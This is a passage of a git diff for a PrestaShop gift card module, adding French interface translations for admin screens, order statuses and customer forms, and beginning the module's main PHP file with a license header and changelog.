visiteur du jour se connecte sur votre site, le module est exécuté en tache de fond.'; +$_MODULE['<{giftcard}prestashop>giftcard_90f989fbf650d6fb929b82409fc0493d'] = 'Cette solution est utilisé quand vous n\'avez pas accès à la crontab de votre serveur.'; +$_MODULE['<{giftcard}prestashop>giftcard_732ecc46faefe4bdbcc24b42bdb4ef17'] = 'Contact votre hébergeur ou webmasteur pour configurer la crontab'; +$_MODULE['<{giftcard}prestashop>giftcard_6897203c6ff8991ea709eabacf2d627b'] = 'Ces lignes sont à ajouter à votre crontab :'; +$_MODULE['<{giftcard}prestashop>giftcard_256f7d29984e059c4d53458635509e92'] = 'Ainsi, le module sera lancé tous les jours à une heure spécifique. Dans cet exemple à 4H30 du matin.'; +$_MODULE['<{giftcard}prestashop>giftcard_2c8bb57a0b1dff255f3d6684a9fddda3'] = 'Pret à l\'emploi'; +$_MODULE['<{giftcard}prestashop>giftcard_2bfa837155f7f4ca91cd30b9d2f3d0da'] = 'Cette action créée de façon automatique les modèles ainsi que les cartes cadeaux.'; +$_MODULE['<{giftcard}prestashop>giftcard_ce5cfe6c6c58b69cef788ba931597d15'] = 'Le processus peut prendre plusieurs minutes...'; +$_MODULE['<{giftcard}prestashop>giftcard_e14db795162b805df767af1d23867f34'] = 'Modèle personnalisable'; +$_MODULE['<{giftcard}prestashop>giftcard_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{giftcard}prestashop>giftcard_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{giftcard}prestashop>giftcard_9506f0fd0f7f1b07960b15b4c9e68d1a'] = 'Lancer'; +$_MODULE['<{giftcard}prestashop>giftcard_630f6dc397fe74e52d5189e2c80f282b'] = 'Retour à la liste'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_c03d53b70feba4ea842510abecd6c45e'] = 'Photo'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_5e2ff470c4413ed3333b78b6c45e2c5f'] = 'Affichage devise'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_344d095f3685cd7909e2c2e89ea2bce0'] = 'Utilisation partielle'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_b00b85425e74ed2c85dc3119b78ff2c3'] = 'Frais de port offert'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_7a1920d61156abc05a60135aefe8bc67'] = 'Défaut'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_8cdf1c6345219fcfde50615a78ad3ce6'] = 'Boutique défaut'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Supprimer la sélection'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Supprimer la sélection?'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_ede4759c9afae620fd586628789fa304'] = 'Activer la sélection'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_ab7fd6e250b64a46027a996088fdff74'] = 'Désactiver la sélection'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_a098c6f7ed63782a8d5f917277f3a81d'] = 'Un modèle défaut est requis pour la création des images produits'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_193bbde39cb6cf9f53d2ace856a367e0'] = 'Une erreur s\'est produite pendant la création de l\'image à partir du modèle défaut.'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_6e2ef4251e0a17e9fdf092e9e071865b'] = 'La carte a été créée avec succès'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_9c34fe9d05bccbb346eec96392857ef6'] = 'La carte a été mis à jour avec succès'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_9556869542476a8e2288cc5f7d4092b6'] = 'Une erreur s\'est produite pendant la mise à jour'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_23d643a27605a124ebc91ad18a21b66e'] = 'Le champ \'nom\' est vide. Vous devez saisir un nom pour la langue défaut avant de pouvoir enregistrer.'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_b9a7535676a66ca537ed5d4c6a15f51a'] = 'Le champ \'prix\' est requis et doit être supérieur à 0'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_bf82064ed593c4b8f773403b14c9cf7f'] = 'Le champ ean13 n\'est pas valide'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_38b598df404e245a5514da56c1e71419'] = 'Le champs upc n\'est pas valide'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_dc24e60bf8e307a56e417944b521e0e2'] = 'Le champs période est requis et doit être supérieur à 0 et inférieur à 1000'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_0f5c3acf37a61219addff19aae347970'] = 'Le champs quantité est requis et doit être supérieur à 0'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_f7de1b71605a10ef04416effa4c6e09e'] = 'Sauvegarder et rester'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_e6bc658d1d1b80a5b522ad370116a2c9'] = 'Carte Cadeau'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_4e140ba723a03baa6948340bf90e2ef6'] = ' Nom:'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_6252c0f2c2ed83b7b06dfca86d4650bb'] = 'Invalide caractères:'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_1800367c230c28bdf3fd2e839345ea21'] = 'Carte cadeau seulement visible'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_14eaed34083f2053dfc768d756e0ec3c'] = 'Toutes devises'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_694e8d1f2ee056f98ee488bdc4982d73'] = 'Quantité'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_58a67a15610d2597611bb837b763702d'] = 'Période de validité'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_63d5049791d9d79d86e9a108b0a999ca'] = 'Référence'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_51b2e055027d9ef6255110810fb06207'] = 'EAN13'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_4fb223e52c7cfb3596cf0c4e345e07ed'] = 'UPC'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_b51a203cee37965537db75688feaef75'] = 'Ne s\'applique que si la valeur de la réduction est supérieure au montant total du panier.'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_45ec8a24a8f55af16fad097e8a4fb9fe'] = 'Si vous n\'autorisez pas les utilisations partielles, la valeur du bon de réduction sera abaissée à la valeur du panier. Si en revanche vous autorisez les utilisations partielles, un nouveau bon sera créé avec le solde.'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_9d55fc80bbb875322aa67fd22fc98469'] = 'Boutiques associées'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_5fb1f955b45e38e31789286a1790398d'] = 'Toutes'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_6f8497a354aa10bd46e65cdf8e39f6b6'] = 'Non défaut'; +$_MODULE['<{giftcard}prestashop>admingiftcardcontroller_d9b5b2302d57f3d13d5387ba9c99daae'] = 'Une erreur s\'est produite, pendant la création'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_278c491bdd8a53618c149c4ac790da34'] = 'Modèle'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_5d6103b662f41b07e10687f03aca8fdc'] = 'Destinataire'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_ca0dbad92a874b2f69b549293387925e'] = 'Code'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_4059b0251f66a18cb56f544728796875'] = 'Info'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_1fc54c0ab4a0602ae1f8c5d22bd82446'] = 'Voir la personnalisation'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_b314b715132fb2f685cd7ac691706d84'] = 'Attente commande acceptée'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_cb65733b2ee55e1e4f0c489485801829'] = 'Envoi en erreur'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_0e22fe7d45f8e5632a4abf369b24e29c'] = 'Annulée'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_654a39eb70f05b3e91adbe05b050923e'] = 'Utilisé dans la commande #%s'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_f90bec5942e6aa8ef29c4a31aa68ff10'] = 'Non utilisée'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_1e895ae086994065ceec58cf7ceb1e5d'] = 'Email envoyé'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_fac61083c7bd8f697c4a05ef1c003fe7'] = 'L\'email est envoyé'; +$_MODULE['<{giftcard}prestashop>admingiftcardordercontroller_342caf3cd7fb85056123866705766415'] = 'Email non envoyé, en attente de la date d\'envoi'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_be53a0541a6d36f6ecb879fa2c584b08'] = 'Image'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_57dea6f5039281b7fee517fc43bf3110'] = 'Vecteur'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_7a1920d61156abc05a60135aefe8bc67'] = 'Défaut'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_8cdf1c6345219fcfde50615a78ad3ce6'] = 'Boutique défaut'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Supprimer la sélection'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Supprimer les items sélectionnés?'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_ede4759c9afae620fd586628789fa304'] = 'Activer la sélection'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_ab7fd6e250b64a46027a996088fdff74'] = 'Désactiver la sélection'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_f7de1b71605a10ef04416effa4c6e09e'] = 'Sauvegarder et rester'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_f10b845272fcb0b2b1ee00eef8fb8869'] = 'Modèle carte cadeau'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_d9b5b2302d57f3d13d5387ba9c99daae'] = 'Un erreur c\'est produite pendant la création de l\'objet'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_5fb1f955b45e38e31789286a1790398d'] = 'Tous'; +$_MODULE['<{giftcard}prestashop>admingiftcardtemplatecontroller_6f8497a354aa10bd46e65cdf8e39f6b6'] = 'Non défaut'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_607e1d854783c8229998ac2b5b6923d3'] = 'Token invalide'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_de06ed12b75a6b90657ca83e53a87bcd'] = 'Prévisualisation impossible'; +$_MODULE['<{giftcard}prestashop>informations_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}prestashop>informations_092ff92c5c5fb215f214c07d9221e949'] = 'Sera affiché dans le récapitulatif du panier du client ainsi que sur la facture.'; +$_MODULE['<{giftcard}prestashop>informations_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{giftcard}prestashop>informations_14eaed34083f2053dfc768d756e0ec3c'] = 'Toutes les devises'; +$_MODULE['<{giftcard}prestashop>informations_e913ab4c27bcd1adbdb7e9465122c632'] = 'Carte cadeau seulement visible'; +$_MODULE['<{giftcard}prestashop>informations_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}prestashop>informations_694e8d1f2ee056f98ee488bdc4982d73'] = 'Quantité'; +$_MODULE['<{giftcard}prestashop>informations_58a67a15610d2597611bb837b763702d'] = 'Période de validité'; +$_MODULE['<{giftcard}prestashop>informations_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{giftcard}prestashop>informations_63d5049791d9d79d86e9a108b0a999ca'] = 'Référence'; +$_MODULE['<{giftcard}prestashop>informations_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}prestashop>informations_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{giftcard}prestashop>informations_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{giftcard}prestashop>formno_e6bc658d1d1b80a5b522ad370116a2c9'] = 'Carte Cadeau'; +$_MODULE['<{giftcard}prestashop>formno_a82be0f551b8708bc08eb33cd9ded0cf'] = 'Information'; +$_MODULE['<{giftcard}prestashop>formno_e19cae6a8af7eca4fa921d5b66c87814'] = 'Information de la carte cadeau'; +$_MODULE['<{giftcard}prestashop>formno_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}prestashop>custom_field_65fba9ec06765f60ab9510fff2bd2b16'] = 'Acheteur'; +$_MODULE['<{giftcard}prestashop>custom_field_5da618e8e4b89c66fe86e32cdafde142'] = 'De la part'; +$_MODULE['<{giftcard}prestashop>custom_field_1d58b02872ba12914a06fe38bf6dd266'] = 'Réception'; +$_MODULE['<{giftcard}prestashop>custom_field_fa460b2b27e0abdc94218912661ed599'] = 'E-mail à une date spécique'; +$_MODULE['<{giftcard}prestashop>custom_field_53a10624b93334d999f75d26b45f1bb4'] = 'Imprimer chez soi'; +$_MODULE['<{giftcard}prestashop>custom_field_0ea0a2da60925a9b5d7d80e1ee55e5b6'] = 'Personne qui reçoit la carte'; +$_MODULE['<{giftcard}prestashop>custom_field_0c4f82ac8c388cb72b1ba684f10fa098'] = 'Date d\'envoi'; +$_MODULE['<{giftcard}prestashop>custom_field_4dfbb099eafd3c82e033bf92946d3ce6'] = 'Mail'; +$_MODULE['<{giftcard}prestashop>custom_field_dff4bf10409100d989495c6d5486035e'] = 'Nom'; +$_MODULE['<{giftcard}prestashop>custom_field_78e731027d8fd50ed642340b7c9a63b3'] = 'message'; +$_MODULE['<{giftcard}prestashop>list_header_95923cff2ad4637372adcdf25e4581f8'] = 'Signification des statuts'; +$_MODULE['<{giftcard}prestashop>list_header_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}prestashop>list_header_b314b715132fb2f685cd7ac691706d84'] = 'Attente commande acceptée'; +$_MODULE['<{giftcard}prestashop>list_header_051e85808dc9d2dac5a78ad21da24f98'] = 'La commande est en attente de paiement, ainsi la carte n\'est pas envoyée et le code de réduction correspondant n\'est pas généré'; +$_MODULE['<{giftcard}prestashop>list_header_aadb3ee341867ca2327dd458d9f1e42b'] = 'Non utilisée'; +$_MODULE['<{giftcard}prestashop>list_header_9bdd710c6874e8456d6431771b616c55'] = 'La carte cadeau est créée, cependant elle n\'est pas utilisée'; +$_MODULE['<{giftcard}prestashop>list_header_019d1ca7d50cc54b995f60d456435e87'] = 'Utilisée'; +$_MODULE['<{giftcard}prestashop>list_header_7e380c26d3327617e89ec781db11a80e'] = 'La carte cadeau est utilisée, vous pouvez consulter la commande associée.'; +$_MODULE['<{giftcard}prestashop>list_header_ea4788705e6873b424c65e91c2846b19'] = 'Annulée'; +$_MODULE['<{giftcard}prestashop>list_header_218af2f29d281d912433ef6076177da4'] = 'La carte cadeau a été annulée, par exemple la commande est annulée ou remboursée'; +$_MODULE['<{giftcard}prestashop>customize_999ee65fd5205dff5305ce99ae1a54a5'] = 'La fonctionnalité de personnalisation requière l\'extension PHP Imagick, cette extension n\'est pas présente sur votre serveur.'; +$_MODULE['<{giftcard}prestashop>customize_73e4ff6ffa29353a5bacfc71619b4183'] = 'Données variables'; +$_MODULE['<{giftcard}prestashop>customize_d6effb5796170adc1333091e3d2d1edb'] = '0 pour ne pas afficher le prix sur le modèle'; +$_MODULE['<{giftcard}prestashop>customize_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}prestashop>customize_aa74397584da0fd719c7f349ba31e399'] = 'Code de réduction'; +$_MODULE['<{giftcard}prestashop>customize_c49529a6df6f4ad97b66871c4df32ba6'] = 'Texte personnalisable'; +$_MODULE['<{giftcard}prestashop>customize_c67e704415318b8ac85c0e29ccf52f58'] = 'Couleur personnalisable'; +$_MODULE['<{giftcard}prestashop>customize_31fde7b05ac8952dacf4af8a704074ec'] = 'Prévisualiser'; +$_MODULE['<{giftcard}prestashop>customize_e20a3ef58162098507fe519205ccfbcb'] = 'Langue utilisée pour prévisualiser'; +$_MODULE['<{giftcard}prestashop>informations_d075eb73e62ee5941fdb32a02edd8644'] = 'Affiché dans la liste des modèles'; +$_MODULE['<{giftcard}prestashop>informations_afa0e89407bf95c692f0de3516d41556'] = 'Si vous sélectionner une langue, le modèle sera affiché seulement dans cette langue'; +$_MODULE['<{giftcard}prestashop>informations_4994a8ffeba4ac3140beb89e8d41f174'] = 'Language'; +$_MODULE['<{giftcard}prestashop>informations_53ded23a712b29ac06cb364ea8be689b'] = 'Toutes les langues'; +$_MODULE['<{giftcard}prestashop>informations_d1cad276c41899ad987ccf40441c1be2'] = 'Télécharger une image depuis votre ordinateur'; +$_MODULE['<{giftcard}prestashop>informations_c2d0bf5ad42279c519cdcb4a94eb46b6'] = 'Boutiques associées:'; +$_MODULE['<{giftcard}prestashop>informations_3e053943605d9e4bf7dd7588ea19e9d2'] = 'Caractères interdit :'; +$_MODULE['<{giftcard}prestashop>informations_bb168dfc60807bb1ba1fbe643845238b'] = 'Tags séparé par une virgule (anniversaire, saint valentin, coeur,...)'; +$_MODULE['<{giftcard}prestashop>informations_1908624a0bca678cd26b99bfd405324e'] = 'Taille fichier'; +$_MODULE['<{giftcard}prestashop>form_f10b845272fcb0b2b1ee00eef8fb8869'] = 'Modèle carte cadeau'; +$_MODULE['<{giftcard}prestashop>form_63a78ed4647f7c63c2929e35ec1c95e3'] = 'Personnaliser'; +$_MODULE['<{giftcard}prestashop>form_3923bfba54b6d8294df02a7a264f0ff9'] = 'Information du modèle'; +$_MODULE['<{giftcard}prestashop>form_47d44ed4727a9bed10ad17773b1b922e'] = 'Personnaliser le modèle'; +$_MODULE['<{giftcard}prestashop>form_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_1306bade25c9c93111838baadc58300e'] = 'Carte cadeau'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_79d166a466a0d38d052fd9239592473f'] = 'Aucun modèle disponible'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_239fee0f1fdc53edcb916f66553cecf7'] = 'Aucune carte cadeau disponible'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_f45cdd1b85ed75f4fa60f6db4b44a2a9'] = 'Sélectionner un modèle'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_278c491bdd8a53618c149c4ac790da34'] = 'Modèle'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_cb0645f153ad1a4e8b9a2978aa09b815'] = 'Agrandir l\'image'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_e19cae6a8af7eca4fa921d5b66c87814'] = 'Information de la carte cadeau'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_b2f40690858b404ed10e62bdf422c704'] = 'Montant'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_23e9f6b81cce1c7d27492ad9a967748e'] = 'De la part de: votre nom'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_3d158d81b66f4dbe627a98d51e2c122c'] = 'Bénéficiaire : nom'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_e925f4e4eef28c40d3ab8698e1914a05'] = 'Indiquer votre message'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_a5257a0b90b7f7f19bca83d0336269fb'] = 'caractères restants'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_ae1470ad29c7462a4ab4e3885253e4be'] = 'Sélectionner un mode de réception'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_53a10624b93334d999f75d26b45f1bb4'] = 'Imprimer chez soi'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_dfebb148d1368ade513f1732c8839e0c'] = 'Envoyer par e-mail'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_720ccd4a0625fb6f4d2983e5a52b1d6c'] = 'Bénéficiaire : email'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_61b728377e59eb7ac900896c4f9bd0fa'] = 'Dés que le paiement sera confirmé, la carte cadeau sera envoyée au bénéficiaire par e-mail. Vous pouvez choisir d\'envoyer la carte ultérieurement en sélectionnant une date ci-dessous.'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_bb82b5bf11254e1fead2aa45fa23851c'] = 'Date d\'envoi de la carte'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_86f5978d9b80124f509bdb71786e929e'] = 'Janvier'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_659e59f062c75f81259d22786d6c44aa'] = 'Février'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_fa3e5edac607a88d8fd7ecb9d6d67424'] = 'Mars'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_3fcf026bbfffb63fb24b8de9d0446949'] = 'Avril'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_195fbb57ffe7449796d23466085ce6d8'] = 'Mai'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_688937ccaf2a2b0c45a1c9bbba09698d'] = 'Juin'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_1b539f6f34e8503c97f6d3421346b63c'] = 'Juillet'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_41ba70891fb6f39327d8ccb9b1dafb84'] = 'Août'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_cc5d90569e1c8313c2b1c2aab1401174'] = 'Septembre'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_eca60ae8611369fe28a02e2ab8c5d12e'] = 'Octobre'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_7e823b37564da492ca1629b4732289a8'] = 'Novembre'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_82331503174acbae012b2004f6431fa5'] = 'Décembre'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_31fde7b05ac8952dacf4af8a704074ec'] = 'Aperçu'; +$_MODULE['<{giftcard}prestashop>choicegiftcard_2d0f6b8300be19cf35e89e66f0677f95'] = 'Ajouter au panier'; +$_MODULE['<{giftcard}prestashop>admin_order_047b13a64bff8bbccce2108e3b83a9ce'] = 'Annuler la carte cadeau?'; +$_MODULE['<{giftcard}prestashop>admin_order_e7dea18a6a3ce2d1be570a95a484c299'] = 'Activer la carte cadeau?'; +$_MODULE['<{giftcard}prestashop>admin_order_a6ca74f6a9eab979ddbde680cd7db038'] = 'Carte cadeau achetée'; +$_MODULE['<{giftcard}prestashop>admin_order_3f688b59bb8d216732ba68a0bd264757'] = 'La carte cadeau %1$s avec le code %2$s est utilisée cependant la commande est annulée'; +$_MODULE['<{giftcard}prestashop>admin_order_627eaedf5c1477f753a6d7bbaa6d6405'] = 'La carte cadeau %1$s avec le code %2$s doit être annulée en effet la commande est annulée ou remboursée'; +$_MODULE['<{giftcard}prestashop>admin_order_1135e4470c306e38db58d991837cd658'] = 'Montant réduction'; +$_MODULE['<{giftcard}prestashop>admin_order_ca0dbad92a874b2f69b549293387925e'] = 'Code'; +$_MODULE['<{giftcard}prestashop>admin_order_03ab340b3f99e03cff9e84314ead38c0'] = 'Qté'; +$_MODULE['<{giftcard}prestashop>admin_order_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activé'; +$_MODULE['<{giftcard}prestashop>admin_order_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}prestashop>admin_order_a10311459433adf322f2590a4987c423'] = 'activé'; +$_MODULE['<{giftcard}prestashop>admin_order_075ae3d2fc31640504f814f60e5ef713'] = 'désactivé'; +$_MODULE['<{giftcard}prestashop>admin_order_654a39eb70f05b3e91adbe05b050923e'] = 'Utilisée commande #%s'; +$_MODULE['<{giftcard}prestashop>admin_order_1bda80f2be4d3658e0baa43fbe7ae8c1'] = 'voir'; +$_MODULE['<{giftcard}prestashop>admin_order_92e592d90b9548016776a6fb68dccded'] = 'Non utilisée'; +$_MODULE['<{giftcard}prestashop>admin_order_cfd24a56c5e99cf518e59d53a5833231'] = 'Attente commande valide'; +$_MODULE['<{giftcard}prestashop>admin_order_0e22fe7d45f8e5632a4abf369b24e29c'] = 'Annulée'; +$_MODULE['<{giftcard}prestashop>admin_order_902b0d55fddef6f8d651fe1035b7d4bd'] = 'Erreur'; +$_MODULE['<{giftcard}prestashop>admin_order_74563371db148820f89d790136a4ed59'] = 'Voir PDF'; +$_MODULE['<{giftcard}prestashop>admin_order_ad37680764427cd6e1602b27575caced'] = 'Carte utilisée aucun action disponible'; +$_MODULE['<{giftcard}prestashop>admin_order_134f50f3e7118c42ed5d6ddfff4e3e31'] = 'Annuler la carte cadeau'; +$_MODULE['<{giftcard}prestashop>admin_order_8104510b577f551afcabca9c48c2e935'] = 'Activer la carte cadeau'; +$_MODULE['<{giftcard}prestashop>admin_order_2320f8f4b1253ec77ebf584c9560d27e'] = 'Carte cadeau utilisée'; +$_MODULE['<{giftcard}prestashop>admin_order_fc0404b5b34824c62b2ad58ba2b5d3fd'] = 'Le client a utilisé la carte %1$s avec le code %2$s cependant la commande d\'achat #%3$s est annulée'; +$_MODULE['<{giftcard}prestashop>admin_order_0e75d9736a52522519588a00416c7154'] = 'Le client a utilisé une carte cadeau dans cette commande, vous pouvez consulter dans cette liste, la commande d\'achat associée à cette carte cadeau'; +$_MODULE['<{giftcard}prestashop>admin_order_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}prestashop>admin_order_e38e5ef12954a20e30a68eceb9d87ade'] = 'Date commande'; +$_MODULE['<{giftcard}prestashop>admin_order_49414cda71621b3ee718ae5ff40804c5'] = 'ID commande'; +$_MODULE['<{giftcard}prestashop>admin_order_bbd3a18e6d45b8331cf8a715f3f0008d'] = 'Commande Statut'; +$_MODULE['<{giftcard}prestashop>blockgiftcard_08638fbbe8a6bfe95f300351d5393ad6'] = 'Offrir une carte cadeau'; +$_MODULE['<{giftcard}prestashop>blockgiftcard_58c25c4b8b4382e37d89e0ef6bd625cf'] = 'Cartes cadeaux'; diff --git a/modules/giftcard/giftcard.php b/modules/giftcard/giftcard.php new file mode 100755 index 0000000..b22a81f --- /dev/null +++ b/modules/giftcard/giftcard.php @@ -0,0 +1,1368 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + * + * ******* 1.0.8 ****** + * BUG #3634: PS VERSION <= 1.5.2 / getMimeTypeByExtension not exist + * BUG #3640: Bug / mail lang select error + * + * ******* 1.0.7 ****** + * BUG #3599: when order template select is ko + * + * ******* 1.0.6 ****** + * http://support.timactive.com/versions/119 + * 